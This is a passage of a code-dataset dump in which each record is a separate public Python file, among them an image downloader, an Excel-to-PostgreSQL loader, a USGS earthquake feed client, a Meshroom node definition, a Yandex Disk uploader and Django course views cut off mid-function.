main(sys.argv[1:])\n","repo_name":"hmcollard/web_scraper_2","sub_path":"scraper2.py","file_name":"scraper2.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"17168852678","text":"import requests\n\ndef get_image(URL,path):\n '''\n Method to download any file from a remote server\n '''\n response = requests.get(URL,stream = True) #keep open the connection\n if response.status_code == 200:\n with open(path,'wb') as file: #create a local file\n for chunk in response.iter_content(1024): #iterate in chunks the remote file\n file.write(chunk) #write in local file\n \n \nif __name__ == '__main__':\n URL = \"https://images.pexels.com/photos/2662116/pexels-photo-2662116.jpeg\"\n path = \"images/test.jpeg\"\n get_image(URL,path) \n","repo_name":"LuisChore/web_scraping","sub_path":"requests_example/img_example.py","file_name":"img_example.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6206126291","text":"import json\nfrom pprint import pprint\n\n\ndef transform(infile):\n output = dict()\n with open(infile) as datafile:\n for line in datafile:\n line = line.rstrip('\\n')\n data = json.loads(line)\n for k, v in data.items():\n if k == \"event\":\n output['timestamp'] = v[\"timestamp\"]\n output['app_id'] = v[\"app_id\"]\n if v[\"name\"] == \"AdClick\":\n output[\"event_type\"] = \"ad_click\"\n elif v[\"name\"] == \"AdRequest\":\n output[\"event_type\"] = \"ad_request\"\n elif v[\"name\"] == \"AdImpression\":\n output[\"event_type\"] = \"ad_impression\"\n else:\n output[k] = v\n return output\n\nif __name__ == \"__main__\":\n infile = 'datafile.json'\n pprint(transform(infile))\n\n","repo_name":"rlee21/snippets","sub_path":"python/iterate_nested_json.py","file_name":"iterate_nested_json.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35610685850","text":"import openpyxl\r\nimport psycopg2\r\n\r\nstreet_list = ['']\r\nappointment_list = ['']\r\nroof_list = ['']\r\nfacade_list = ['']\r\nwall_list = ['']\r\nfloor_list = ['']\r\nproject_list = ['']\r\nfoundation_list = ['']\r\nconst_list = ['']\r\n\r\n\r\ndef fill_tables(sheet, j, l, table_name, colomn_name):\r\n req = ''\r\n for i in range(3, sheet.max_row): # filling streets\r\n if sheet[i][j].value not in l and sheet[i][j].value is not None:\r\n l.append(sheet[i][j].value)\r\n req +=f'''INSERT INTO {table_name}({colomn_name})\r\n VALUES('{sheet[i][j].value}');\\n'''\r\n return req\r\n\r\ndef fill_main_table(sheet,cursor):\r\n \r\n req = ''\r\n for i in range(3, sheet.max_row):\r\n ins = 'INSERT INTO BUILDINGS('\r\n val = 'VALUES('\r\n if sheet[i][1].value is not None and sheet[i][1].value != '':\r\n ins += 'street, '\r\n val += f'{street_list.index(sheet[i][1].value)}, '\r\n if sheet[i][2].value is not None and sheet[i][2].value != '':\r\n ins += 'house, '\r\n val += f'\\'{sheet[i][2].value}\\', '\r\n if sheet[i][3].value is not None and sheet[i][3].value != '':\r\n ins += 'building, '\r\n val += f'\\'{sheet[i][3].value}\\', '\r\n if sheet[i][4].value is not None and sheet[i][4].value != '':\r\n ins += 'latitude, '\r\n val += f'{sheet[i][4].value}'.replace(',', '.') + ', '\r\n if sheet[i][5].value is not None and sheet[i][5].value != '':\r\n ins += 'longitude, '\r\n val += f'{sheet[i][5].value}'.replace(',', '.') + ', '\r\n if sheet[i][6].value is not None and sheet[i][6].value != '':\r\n ins += 'year_construction, '\r\n val += f'{sheet[i][6].value}, '\r\n if sheet[i][7].value is not None and sheet[i][7].value != '':\r\n ins += 'number_floors, '\r\n val += f'{sheet[i][7].value}, '\r\n if sheet[i][8].value is not None and sheet[i][8].value != '':\r\n ins += 'number_entrances, '\r\n val += f'{sheet[i][8].value}, '\r\n if sheet[i][9].value is not None and sheet[i][9].value != '':\r\n ins += 'number_buildings, '\r\n val += f'{sheet[i][9].value}, '\r\n if sheet[i][10].value is not None and sheet[i][10].value != '':\r\n ins += 'number_living_quarters, '\r\n val += f'{sheet[i][10].value}, '\r\n if sheet[i][11].value is not None and sheet[i][11].value != '':\r\n ins += 'type_construction, '\r\n val += f'{const_list.index(sheet[i][11].value)}, '\r\n if sheet[i][12].value is not None and sheet[i][12].value != '':\r\n ins += 'basic_project, '\r\n val += f'{project_list.index(sheet[i][12].value)}, '\r\n \r\n if sheet[i][13].value is not None and sheet[i][13].value != '':\r\n ins += 'appointment, '\r\n val += f'{appointment_list.index(sheet[i][13].value)}, ' \r\n\r\n if sheet[i][14].value is not None and sheet[i][14].value != '':\r\n ins += 'seismic_resistance_min, '\r\n val += f'{sheet[i][14].value}'.replace(',', '.') + ', ' \r\n if sheet[i][15].value is not None and sheet[i][15].value != '':\r\n ins += 'seismic_resistance_max, '\r\n val += f'{sheet[i][15].value}'.replace(',', '.') + ', '\r\n if sheet[i][16].value is not None and sheet[i][16].value != '':\r\n ins += 'seismic_resistance_soft, '\r\n val += f'{sheet[i][16].value}'.replace(',', '.') + ', ' \r\n if sheet[i][17].value is not None and sheet[i][17].value != '':\r\n ins += 'zone_SMZ_min, '\r\n val += f'{sheet[i][17].value}'.replace(',', '.') + ', '\r\n if sheet[i][18].value is not None and sheet[i][18].value != '':\r\n ins += 'zone_SMZ_max, '\r\n val += f'{sheet[i][18].value}'.replace(',', '.') + ', '\r\n if sheet[i][19].value is not None and sheet[i][19].value != '':\r\n ins += 'zone_SMZ_increment, '\r\n val += f'{sheet[i][19].value}'.replace(',', '.') + ', '\r\n if sheet[i][20].value is not None and sheet[i][20].value != '':\r\n ins += 'wear_rate, '\r\n val += f'{sheet[i][20].value}'.replace(',', '.') + ', ' \r\n # if sheet[i][21].value is not None and sheet[i][21].value != '':\r\n # ins += 'priming, '\r\n # val += f'{priming_list.index(sheet[i][21].value)}, '\r\n if sheet[i][22].value is not None and sheet[i][22].value != '':\r\n ins += 'load_bearing_walls, '\r\n val += f'{wall_list.index(sheet[i][22].value)}, ' \r\n if sheet[i][23].value is not None and sheet[i][23].value != '':\r\n ins += 'basement_area, '\r\n val += f'{sheet[i][23].value}'.replace(',', '.') + ', ' \r\n if sheet[i][24].value is not None and sheet[i][24].value != '':\r\n ins += 'building_roof, '\r\n val += f'{roof_list.index(sheet[i][24].value)}, '\r\n if sheet[i][25].value is not None and sheet[i][25].value != '':\r\n ins += 'building_floor, '\r\n val += f'{floor_list.index(sheet[i][25].value)}, '\r\n if sheet[i][26].value is not None and sheet[i][26].value != '':\r\n ins += 'facade, '\r\n val += f'{facade_list.index(sheet[i][26].value)}, '\r\n if sheet[i][27].value is not None and sheet[i][27].value != '':\r\n ins += 'foundation, '\r\n val += f'{foundation_list.index(sheet[i][27].value)}, ' \r\n if sheet[i][28].value is not None and sheet[i][28].value != '':\r\n ins += 'azimuth, '\r\n val += f'{sheet[i][28].value}'.replace(',', '.') + ', '\r\n if sheet[i][29].value is not None and sheet[i][29].value != '':\r\n ins += 'cadastral_number, '\r\n val += f'\\'{sheet[i][29].value}\\', '\r\n if sheet[i][30].value is not None and sheet[i][30].value != '':\r\n ins += 'year_overhaul, '\r\n val += f'{sheet[i][30].value}, '\r\n if sheet[i][31].value is not None and sheet[i][31].value != '':\r\n ins += 'accident_rate, '\r\n val += f'\\'{sheet[i][31].value}\\', '\r\n \r\n if sheet[i][32].value is not None and sheet[i][32].value != '':\r\n ins += 'land_area, '\r\n val += f'{sheet[i][32].value}'.replace(',', '.') + ', '\r\n if sheet[i][33].value is not None and sheet[i][33].value != '':\r\n ins += 'cadastral_cost, '\r\n val += f'{sheet[i][33].value}'.replace(',', '.') + ', '\r\n\r\n cursor.execute(ins[:-2] + ') ' + val[:-2] + '); \\n')\r\n print(i, ins[:-2] + ') ' + val[:-2] + '); \\n')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef fill_sql_tables(cursor):\r\n \r\n req = ''\r\n book = openpyxl.open('data.xlsx', read_only=True) # [row(first index - 1)][column(first index - 0)]\r\n sheet = book.active # first page (None in empty cell)\r\n\r\n req += fill_tables(sheet, 1, street_list, 'STREETS', 'name')\r\n req += fill_tables(sheet, 13, appointment_list, 'APPOINTMENTS', 'appointment')\r\n req += fill_tables(sheet, 24, roof_list, 'ROOFS', 'roof_type')\r\n req += fill_tables(sheet, 26, facade_list, 'FACADES', 'facade_type')\r\n req += fill_tables(sheet, 22, wall_list, 'WALLS', 'wall_type')\r\n req += fill_tables(sheet, 25, floor_list, 'BUILDING_FOORS', 'floor_type')\r\n req += fill_tables(sheet, 12, project_list, 'BASIC_PROJECT', 'project_code')\r\n req += fill_tables(sheet, 27, foundation_list, 'FOUNDATION', 'fundation_type')\r\n req += fill_tables(sheet, 11, const_list, 'CONSTRUCTIONS', 'const_type')\r\n\r\n cursor.execute(req) \r\n fill_main_table(sheet, cursor)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nreq = \"\"\"\r\n DROP TABLE IF EXISTS BUILDINGS, CONSTRUCTIONS, STREETS, APPOINTMENTS, ROOFS, FACADES, WALLS, BUILDING_FOORS, BASIC_PROJECT, FOUNDATION;\r\n CREATE TABLE STREETS (\r\n id serial PRIMARY KEY,\r\n name varchar(100) NOT NULL\r\n );\r\n CREATE TABLE APPOINTMENTS(\r\n id serial PRIMARY KEY,\r\n appointment varchar(100) NOT NULL \r\n );\r\n CREATE TABLE ROOFS(\r\n id serial PRIMARY KEY,\r\n roof_type varchar(100) NOT NULL\r\n );\r\n CREATE TABLE FACADES(\r\n id serial PRIMARY KEY,\r\n facade_type varchar(100) NOT NULL\r\n );\r\n CREATE TABLE WALLS(\r\n id serial PRIMARY KEY,\r\n wall_type varchar(100) NOT NULL\r\n );\r\n CREATE TABLE BUILDING_FOORS(\r\n id serial PRIMARY KEY,\r\n floor_type varchar(100) NOT NULL\r\n );\r\n CREATE TABLE BASIC_PROJECT(\r\n id serial PRIMARY KEY,\r\n project_code varchar(100) NOT NULL\r\n );\r\n CREATE TABLE FOUNDATION(\r\n id serial PRIMARY KEY,\r\n fundation_type varchar(100) NOT NULL\r\n );\r\n CREATE TABLE CONSTRUCTIONS(\r\n id serial PRIMARY KEY,\r\n const_type varchar(100) NOT NULL\r\n );\r\n CREATE TABLE BUILDINGS(\r\n id serial PRIMARY KEY,\r\n street smallint,\r\n house varchar(30),\r\n building varchar(30),\r\n latitude NUMERIC(9, 6),\r\n longitude NUMERIC(9, 6),\r\n year_construction smallint,\r\n number_floors smallint,\r\n number_entrances smallint,\r\n number_buildings smallint,\r\n number_living_quarters smallint,\r\n type_construction smallint,\r\n basic_project smallint,\r\n appointment smallint,\r\n seismic_resistance_min NUMERIC(3, 1),\r\n seismic_resistance_max NUMERIC(3, 1),\r\n seismic_resistance_soft NUMERIC(3, 1),\r\n zone_SMZ_min NUMERIC(3, 1),\r\n zone_SMZ_max NUMERIC(3, 1),\r\n zone_SMZ_increment NUMERIC(3, 1),\r\n wear_rate NUMERIC(3, 1),\r\n priming smallint,\r\n load_bearing_walls smallint,\r\n basement_area smallint,\r\n building_roof smallint,\r\n building_floor smallint,\r\n facade smallint,\r\n foundation smallint,\r\n azimuth NUMERIC(4, 2),\r\n cadastral_number varchar(100),\r\n year_overhaul smallint,\r\n accident_rate varchar(3),\r\n land_area NUMERIC(6, 2),\r\n cadastral_cost NUMERIC(20, 2)\r\n );\r\n\"\"\"\r\nfilling = \"\"\"\r\n INSERT INTO STREETS(name)\r\n VALUES('Абеля');\r\n\r\n INSERT INTO APPOINTMENTS(appointment)\r\n VALUES('многоквартирный дом');\r\n\r\n INSERT INTO ROOFS(roof_type)\r\n VALUES('плоская');\r\n\r\n INSERT INTO FACADES(facade_type)\r\n VALUES('облицованный камнем');\r\n\r\n INSERT INTO WALLS(wall_type)\r\n VALUES('панельные');\r\n\r\n INSERT INTO BUILDING_FOORS(floor_type)\r\n VALUES('железобетонные');\r\n\r\n INSERT INTO BASIC_PROJECT(project_code)\r\n VALUES('1-464-АС');\r\n\r\n INSERT INTO FOUNDATION(fundament_type)\r\n VALUES('ленточный');\r\n\r\n INSERT INTO CONSTRUCTIONS(const_type)\r\n VALUES('панельный');\r\n\r\n INSERT INTO BUILDINGS(street, house, latitude, longitude,\r\n year_construction, number_floors, number_living_quarters,\r\n type_construction, basic_project, appointment, seismic_resistance_min, seismic_resistance_max,\r\n seismic_resistance_soft, zone_SMZ_min, zone_SMZ_max, zone_SMZ_increment,\r\n year_overhaul, accident_rate)\r\n VALUES(1, 4, 53.068921, 158.600465, 1969, 5, 90, 1, 1, 1, 7, 8, 7.5, 10.0, 10.0, 1.0, 2022, 'нет');\r\n\r\n\"\"\"","repo_name":"Nicksha077/ProjectEGS","sub_path":"creating_base.py","file_name":"creating_base.py","file_ext":"py","file_size_in_byte":11303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28810693947","text":"import image\nimport network_img as nw\nimport random\nimport numpy as np\n#取最大值\ndef max_index(arry):\n max = -10\n max_index = 0\n for i in range(len(arry)):\n if arry[i] > max:\n max = arry[i]\n max_index = i\n return max_index\n\ndef error_eva(net):\n accuracy = 0\n for i in range(100):\n word_i = random.randint(1, 14)\n image_i = random.randint(240, 255)\n file_name = './TEST/' + str(word_i) + '/' + str(image_i) + '.bmp'\n inputs = np.array(image.pic(file_name))\n outputs = net.compute(inputs)\n if max_index(outputs) == word_i - 1:\n accuracy += 1\n return accuracy\n\ndef network_train(sizes, learning_rate):\n network = nw.Network(sizes)\n train_time = 0\n train_up = 1000\n error_result = 0\n print(\"train begin, size=%s, learning_rate=%f\" % (str(sizes), learning_rate))\n while train_time < train_up:\n for word_index in range(1, 15):\n expect_output = np.zeros(14)\n expect_output[word_index - 1] = 1\n for img_index in range(240):\n file_name = './TRAIN/' + str(word_index) + '/' + str(img_index) + '.bmp'\n inputs = np.array(image.pic(file_name))\n network.train(inputs, expect_output, learning_rate)\n train_time = train_time + 1\n error_val = error_eva(network)\n print(\"training: %d, accuracy: %d%%\" % (train_time, error_val))\n if train_up - train_time < 10:\n error_result += error_val\n error_result = error_result / 10\n return {'error': error_result, 'network': network}\n\nif __name__ == \"__main__\":\n\n train_result = network_train([784, 10, 14], 0.05)\n\n while True:\n words = \"苟利国家生死以岂因祸福避趋之\"\n word_i = input(\"enter fold index (1-14): \")\n img_i = input(\"enter img index (0-255): \")\n file_name = './TRAIN/' + word_i + '/' + img_i + '.bmp'\n inputs = np.array(image.pic(file_name))\n outputs = train_result['network'].compute(inputs)\n print(\"recognition result: %s\" % words[max_index(outputs)])\n","repo_name":"KlausEusford/Test","sub_path":"recognize.py","file_name":"recognize.py","file_ext":"py","file_size_in_byte":2111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18408213693","text":"__version__ = \"2.1\"\n\nfrom meshroom.core import desc\n\nimport os.path\n\n\nclass SfMTransfer(desc.AVCommandLineNode):\n commandLine = 'aliceVision_sfmTransfer {allParams}'\n size = desc.DynamicNodeSize('input')\n\n category = 'Utils'\n documentation = '''\nThis node allows to transfer poses and/or intrinsics form one SfM scene onto another one.\n'''\n\n inputs = [\n desc.File(\n name=\"input\",\n label=\"Input\",\n description=\"SfMData file.\",\n value=\"\",\n uid=[0],\n ),\n desc.File(\n name=\"reference\",\n label=\"Reference\",\n description=\"Path to the scene used as the reference to retrieve resolved poses and intrinsics.\",\n value=\"\",\n uid=[0],\n ),\n desc.ChoiceParam(\n name=\"method\",\n label=\"Matching Method\",\n description=\"Matching Method:\\n\"\n \" - from_viewid: Align cameras with same view ID.\\n\"\n \" - from_filepath: Align cameras with a filepath matching, using 'fileMatchingPattern'.\\n\"\n \" - from_metadata: Align cameras with matching metadata, using 'metadataMatchingList'.\\n\"\n \" - from_intrinsicid: Copy intrinsics parameters.\\n\",\n value=\"from_viewid\",\n values=[\"from_viewid\", \"from_filepath\", \"from_metadata\", \"from_intrinsicid\"],\n exclusive=True,\n uid=[0],\n ),\n desc.StringParam(\n name=\"fileMatchingPattern\",\n label=\"File Matching Pattern\",\n description=\"Matching regular expression for the 'from_cameras_filepath' method.\\n\"\n \"You should capture specific parts of the filepath with parentheses to define matching elements.\\n\"\n \"Some examples of patterns:\\n\"\n \" - Match the filename without extension (default value): \"\n r'\".*\\/(.*?)\\.\\w{3}\"' + \"\\n\"\n \" - Match the filename suffix after \\\"_\\\": \"\n r'\".*\\/.*(_.*?\\.\\w{3})\"' + \"\\n\"\n \" - Match the filename prefix before \\\"_\\\": \"\n r'\".*\\/(.*?)_.*\\.\\w{3}\"',\n value=r'.*\\/(.*?)\\.\\w{3}',\n uid=[0],\n ),\n desc.ListAttribute(\n elementDesc=desc.File(\n name=\"metadataMatching\",\n label=\"Metadata\",\n description=\"Metadata that should match to create correspondences.\",\n value=\"\",\n uid=[0],\n ),\n name=\"metadataMatchingList\",\n label=\"Metadata Matching List\",\n description=\"List of metadata that should match to create the correspondences.\\n\"\n \"If the list is empty, the default value will be used:\\n\"\n \"['Make', 'Model', 'Exif:BodySerialNumber', 'Exif:LensSerialNumber'].\",\n ),\n desc.BoolParam(\n name=\"transferPoses\",\n label=\"Poses\",\n description=\"Transfer poses.\",\n value=True,\n uid=[0]\n ),\n desc.BoolParam(\n name=\"transferIntrinsics\",\n label=\"Intrinsics\",\n description=\"Transfer cameras intrinsics.\",\n value=True,\n uid=[0]\n ),\n desc.BoolParam(\n name=\"transferLandmarks\",\n label=\"Landmarks\",\n description=\"Transfer landmarks.\",\n value=True,\n uid=[0]\n ),\n desc.ChoiceParam(\n name=\"verboseLevel\",\n label=\"Verbose Level\",\n description=\"Verbosity level (fatal, error, warning, info, debug, trace).\",\n value=\"info\",\n values=[\"fatal\", \"error\", \"warning\", \"info\", \"debug\", \"trace\"],\n exclusive=True,\n uid=[],\n ),\n ]\n\n outputs = [\n desc.File(\n name=\"output\",\n label=\"SfMData\",\n description=\"Path to the output SfM point cloud file (in SfMData format).\",\n value=lambda attr: desc.Node.internalFolder + (os.path.splitext(os.path.basename(attr.node.input.value))[0] or \"sfmData\") + \".abc\",\n uid=[],\n ),\n desc.File(\n name=\"outputViewsAndPoses\",\n label=\"Poses\",\n description=\"Path to the output SfMData file with cameras (views and poses).\",\n value=desc.Node.internalFolder + \"cameras.sfm\",\n uid=[],\n ),\n ]\n","repo_name":"alicevision/Meshroom","sub_path":"meshroom/nodes/aliceVision/SfMTransfer.py","file_name":"SfMTransfer.py","file_ext":"py","file_size_in_byte":4505,"program_lang":"python","lang":"en","doc_type":"code","stars":10013,"dataset":"github-code","pt":"21"} +{"seq_id":"28018698678","text":"from requests import get\nfrom datetime import datetime\n\n# USGS query API: https://earthquake.usgs.gov/fdsnws/event/1/#parameters\nURL = 'https://earthquake.usgs.gov/fdsnws/event/1/query'\n\ndef get_current_feed(start_ts):\n \"\"\"\n Get global earthquake data from starttime to present\n Args:\n start_ts (int): start timestamp\n Returns:\n present (int): current timestamp\n data (list): all earthquake entries\n \"\"\"\n # Set chunk due to 20000 records per query limit\n chunk = 86400 * 50 \n present_ts = int(datetime.now().timestamp())\n ret = []\n while 1:\n endtime = datetime.fromtimestamp(min(start_ts + chunk, present_ts)).isoformat()\n params = {\n 'format': 'geojson',\n 'starttime': datetime.fromtimestamp(start_ts).isoformat(),\n 'endtime': endtime,\n 'minmagnitude': '1',\n }\n start_ts += chunk\n res = get(URL, params=params)\n if res.status_code != 200:\n continue\n data = res.json()['features']\n ret += data\n if start_ts > present_ts:\n break\n return present_ts, ret\n","repo_name":"Dearkano/Aftershock","sub_path":"data/feed.py","file_name":"feed.py","file_ext":"py","file_size_in_byte":1135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27720294461","text":"from __future__ import (absolute_import, division, unicode_literals)\nfrom gs.core import to_unicode_or_bust\nfrom gs.database import getTable, getSession\n\n\nclass MessageQuery(object):\n '''Query the relational database for message information'''\n def __init__(self, context=None):\n self.postTable = getTable('post')\n self.fileTable = getTable('file')\n\n def post(self, postId):\n \"\"\"Retrieve a post\n\n:param str post_id: The identifier of a post\n:returns: The post for the ID, or ``None``\n:rtype: dict\n\nThe dictionary representing the post contains the following\n\n================== ======== ====================================\nKey Type Note\n================== ======== ====================================\n``post_id`` str The post identifier\n``group_id`` str The group identifier\n``site_id`` str The site identifier\n``subject`` str The subject (topic title)\n``date`` DateTime The date the post was made\n``author_id`` str The author identifier\n``body`` str The body of the post\n``hidden`` DateTime Set if the post is hidden\n``files_metadata`` list The list of attached files (see\n :meth:`MessageQuery.files_metadata`)\n================== ======== ====================================\n\"\"\"\n if not postId:\n raise ValueError('postId must be set')\n\n pt = self.postTable\n statement = pt.select()\n statement.append_whereclause(pt.c.post_id == postId)\n\n session = getSession()\n r = session.execute(statement)\n retval = None\n if r.rowcount:\n assert r.rowcount == 1, \"Posts should always be unique\"\n row = r.fetchone()\n retval = {k: v for k, v in list(row.items())}\n fm = []\n if retval['has_attachments']:\n fm = self.files_metadata(row['post_id'])\n retval['files_metadata'] = fm\n\n # assert postId == retval['post_id'], 'post_id missmatch'\n return retval\n\n def files_metadata(self, postId):\n \"\"\"Retrieve the metadata of all files associated with a post\n\n:param str post_id: The identifier of a post\n:returns: The files for the post, or and empty list (``[]``)\n:rtype: list\n\nThe dictionary representing the each file contains the following\n\n================== ======== =============================\nKey Type Note\n================== ======== =============================\n``file_id`` str File identifier\n``file_name`` Unicode File name\n``date`` DateTime The date the file was created\n``mime_type`` Unicode The MIME type of the file\n``file_size`` int The size of the file in bytes\n================== ======== =============================\n\"\"\"\n ft = self.fileTable\n statement = ft.select()\n statement.append_whereclause(ft.c.post_id == postId)\n\n session = getSession()\n r = session.execute(statement)\n retval = [{\n 'file_id': row['file_id'],\n 'file_name': to_unicode_or_bust(row['file_name']),\n 'date': row['date'],\n 'mime_type': to_unicode_or_bust(row['mime_type']),\n 'file_size': row['file_size'], } for row in r]\n return retval\n","repo_name":"groupserver/gs.group.list.email.base","sub_path":"gs/group/list/email/base/queries.py","file_name":"queries.py","file_ext":"py","file_size_in_byte":3367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70382582134","text":"import requests\nimport pandas as pd\nimport re\n\nclass GetData:\n \"\"\"A class to retrieve data using Radio France API\"\"\"\n\n def __init__(self, token):\n \"\"\"Constructor for Radio France API\"\"\"\n\n self.token = token\n self.endpoint = f\"https://openapi.radiofrance.fr/v1/graphql?x-token={self.token}\"\n\n\n def get_show_url(self, show_id):\n \"\"\"Get the URL of a show, given its ID\"\"\"\n\n query = \"\"\"\n {\n show(id: \"SHOW_ID\") {\n id\n url\n title\n }\n }\n \"\"\"\n\n query = query.replace(\"SHOW_ID\", show_id)\n\n response = requests.post(self.endpoint, json={\"query\": query})\n response = response.json()\n\n show_url = response[\"data\"][\"show\"][\"url\"]\n\n return show_url\n\n\n def get_last_diffusions(self, show_url, number_diffusions):\n \"\"\"Retrieve MP3 URLs for given number of last diffusions and given show by show URL\"\"\"\n\n query = \"\"\"\n {\n diffusionsOfShowByUrl(url: \"SHOW_URL\", first: NUMBER_DIFFUSIONS) {\n edges {\n cursor\n node {\n id\n title\n published_date\n podcastEpisode {\n url\n }\n }\n }\n }\n }\n \"\"\"\n\n query = query.replace(\"SHOW_URL\", show_url).replace(\"NUMBER_DIFFUSIONS\", number_diffusions)\n\n response = requests.post(self.endpoint, json={\"query\": query})\n response = response.json()\n\n # Clean a bit within JSON response\n\n diffusions = response[\"data\"][\"diffusionsOfShowByUrl\"][\"edges\"]\n\n # From cleaned response, retrieve diffusion ID, title, date and MP3 URL\n # Additional condition to not include elements when diffusions didn't happen (because of strikes)\n\n diffusions_list = [\n {\n \"id\": diffusion[\"node\"][\"id\"],\n \"title\": diffusion[\"node\"][\"title\"],\n \"date\": diffusion[\"node\"][\"published_date\"],\n \"url\": diffusion[\"node\"][\"podcastEpisode\"][\"url\"]\n } for diffusion in diffusions if diffusion[\"node\"][\"podcastEpisode\"] is not None]\n\n # Put into a DataFrame and convert POSIX timestamp into YYYYMMDD format\n\n diffusions_df = pd.DataFrame(diffusions_list)\n diffusions_df[\"date\"] = pd.to_datetime(diffusions_df[\"date\"], unit = \"s\").dt.strftime(\"%Y%m%d\")\n\n return diffusions_df\n\n\n def get_last_diffusion_url(self, diffusions_df):\n \"\"\"Get URL from last diffusion\"\"\"\n\n pd.set_option('display.max_colwidth', None)\n regex = \"(.+)\\?\"\n url = diffusions_df[\"url\"].to_string(index=False)\n url = re.findall(regex, url, flags=re.IGNORECASE)\n url = url[0]\n\n return url\n\n\n def read_diffusion_history(self, history_path):\n \"\"\"Read CSV containing history of diffusions\"\"\"\n\n history_df = pd.read_csv(history_path)\n\n return history_df\n\n\n def save_diffusion_to_history(self, diffusions_df, history_path):\n \"\"\"Append newest diffusions to history of diffusions\"\"\"\n\n history_df = self.read_diffusion_history(history_path)\n\n last_id = diffusions_df[\"id\"]\n\n if last_id.isin(history_df[\"id\"]).bool():\n print(f\"🟩 Last diffusion already in history file\")\n else:\n diffusions_df.to_csv(history_path, index = False, mode = \"a\", header = False)\n print(f\"🟩 Last diffusion added to history file\")\n","repo_name":"gldsv/project-train-your-brain","sub_path":"train_your_brain/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":3614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26477527917","text":"import requests\n\n\nclass YaUploader:\n\n def __init__(self, token: str):\n self.token = token\n\n def get_headers(self):\n return {\n 'Content-Type': 'application/json',\n 'Authorization': f'OAuth {self.token}'\n }\n\n def _upload_link(self, yadisk_path):\n disk_url = \"https://cloud-api.yandex.net/v1/disk/resources/upload\"\n headers = self.get_headers()\n params = {\"path\": yadisk_path, \"overwrite\": \"true\"}\n response = requests.get(disk_url, headers=headers, params=params)\n return response.json()\n\n def upload(self, yadisk_path, file_name):\n \"\"\"Метод загружает файлы по списку file_list на яндекс диск\"\"\"\n href = self._upload_link(yadisk_path).get(\"href\", \"\")\n response = requests.put(href, data=open(file_name, 'rb'))\n response.raise_for_status()\n if response.status_code == 201:\n print(\"Success\")\n\n\n\nif __name__ == '__main__':\n token_ = ''\n uploader = YaUploader(token_)\n file_names = ['test_ya.txt', 'test_ya2.txt']\n sub_folders = 'netology/'\n for file_name_ in file_names:\n result = uploader.upload(sub_folders+file_name_, file_name_)\n","repo_name":"VyacheslavBakashov/HW_Basic_PY","sub_path":"HW_8/hw_8_2.py","file_name":"hw_8_2.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7889722067","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom .models import Category, Course, Video, Review, Rating\nimport random\nfrom django.urls import reverse\nfrom account.models import Student, Instructor\nfrom django.db.models import Q\nfrom django.contrib.auth.models import Group, User\nfrom django.core.paginator import Paginator, PageNotAnInteger, InvalidPage, EmptyPage\nfrom .forms import CourseAddForm, VideoAddForm, ReviewForm, RefundForm\nfrom django.contrib.auth.decorators import login_required, user_passes_test\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom order.models import Order, OrderItem\nfrom django.utils import timezone\nfrom django.core.mail import EmailMessage\nfrom django.template.loader import get_template\nfrom django.conf import settings\n\n\ndef index(request):\n object_list = Course.objects.all()\n object_list = object_list.filter(active=True)\n course_num = object_list.count()\n cs = sorted(object_list, key=lambda x: random.random())\n cs = cs[:8]\n latest = object_list.order_by('-created')[:4]\n popular = object_list.order_by('students', 'total_rating')[:4]\n # instructors = len(Instructor.objects.all())\n # students = len(Student.objects.all())\n instructors = Instructor.objects.all().count()\n students = Student.objects.all().count()\n\n return render(request, 'courses/index.html', {'courses': cs,\n 'latest': latest,\n 'popular': popular,\n 'instructors': instructors,\n 'students': students,\n 'course_num': course_num})\n\n\ndef courses_by_category(request, category_slug=None, cate=None):\n try:\n courses = Course.objects.all()\n courses = courses.filter(active=True)\n q = None\n qq = None\n courses = courses.order_by('-total_rating', '-created')\n if category_slug:\n cate = get_object_or_404(Category, slug=category_slug)\n courses = courses.filter(category=cate)\n\n if 'query' in request.GET:\n q = request.GET.get('query')\n qq = q\n courses = courses.filter(\n Q(title__icontains=q) | Q(description__icontains=q))\n\n course_count = courses.count()\n paginator = Paginator(courses, 10)\n page_number = request.GET.get('page')\n try:\n page_obj = paginator.get_page(page_number)\n except PageNotAnInteger:\n page_obj = paginator.get_page(1)\n except InvalidPage:\n page_obj = paginator.get_page(1)\n except EmptyPage:\n page_obj = paginator.get_page(paginator.num_pages)\n\n except:\n courses = None\n course_count = 0\n\n return render(request, 'courses/by_category.html', {'q': qq, 'course_count': course_count, 'courses': page_obj, 'category_slug': category_slug, 'cate': cate})\n\n\ndef course_detail(request, id, slug):\n owned = None\n tutor = None\n course = get_object_or_404(Course, id=id, slug=slug)\n recommend = Course.objects.filter(category=course.category)\n recommend = recommend.exclude(id=course.id)\n recommend = recommend.order_by('total_rating')[:3]\n duration = 0\n videos = Video.objects.filter(course=course)\n for video in videos:\n duration += int(video.video_length_in_min)\n person = request.user\n reviews = Review.objects.filter(course=course)\n if str(person) != 'AnonymousUser':\n login_user = User.objects.get(username=person)\n if login_user == course.tutor.user:\n owned = True\n tutor = True\n students = course.students.values_list('user', flat=True)\n if login_user.id in students:\n owned = True\n return render(request, 'courses/course-detail.html', {'duration': duration, 'recommend': recommend, 'reviews': reviews, 'owned': owned, 'course': course, 'videos': videos, 'tutor': tutor})\n\n\n@login_required\ndef course_content_redirect(request, id, slug):\n course = 